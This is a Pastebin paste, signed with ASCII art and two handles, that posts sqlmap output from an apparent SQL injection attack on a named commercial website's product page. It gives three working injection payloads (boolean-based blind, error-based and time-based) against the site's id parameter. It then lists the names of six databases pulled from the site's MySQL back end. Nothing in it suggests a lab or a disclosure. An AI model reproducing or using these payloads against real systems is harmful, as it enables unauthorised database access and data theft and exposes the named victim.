Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /\ /\
- { `---' }
- { O O }
- ~~> V <~~
- \ \|/ /
- `-----'____
- / \ \_
- { }\ )_\_ _
- | \_/ |/ / \_\_/ )
- \__/ /(_/ \__/
- (__/
- Jasmine
- &
- @MovesTheGod
- http://lumopro.com/product.php?id=25
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=25' AND 4064=4064 AND 'zjSV'='zjSV
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- Payload: id=25' AND (SELECT 9834 FROM(SELECT COUNT(*),CONCAT(0x7168727371,(SELECT (CASE WHEN (9834=9834) THEN 1 ELSE 0 END)),0x7170677071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'RSiZ'='RSiZ
- Type: AND/OR time-based blind
- Title: MySQL > 5.0.11 AND time-based blind
- Payload: id=25' AND SLEEP(5) AND 'oDMB'='oDMB
- ---
- [01:32:42] [INFO] the back-end DBMS is MySQL
- web application technology: Apache
- back-end DBMS: MySQL 5.0
- [01:32:42] [INFO] fetching database names
- [01:32:42] [INFO] the SQL query used returns 6 entries
- [01:32:42] [INFO] resumed: information_schema
- [01:32:42] [INFO] resumed: mpexcom_dev_inventory
- [01:32:42] [INFO] resumed: mpexcom_inventory
- [01:32:42] [INFO] resumed: mpexcom_lumopro
- [01:32:42] [INFO] resumed: mpexcom_lumopro_commerce
- [01:32:42] [INFO] resumed: mpexcom_lumopro_connect
- available databases [6]:
- [*] information_schema
- [*] mpexcom_dev_inventory
- [*] mpexcom_inventory
- [*] mpexcom_lumopro
- [*] mpexcom_lumopro_commerce
- [*] mpexcom_lumopro_connect
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement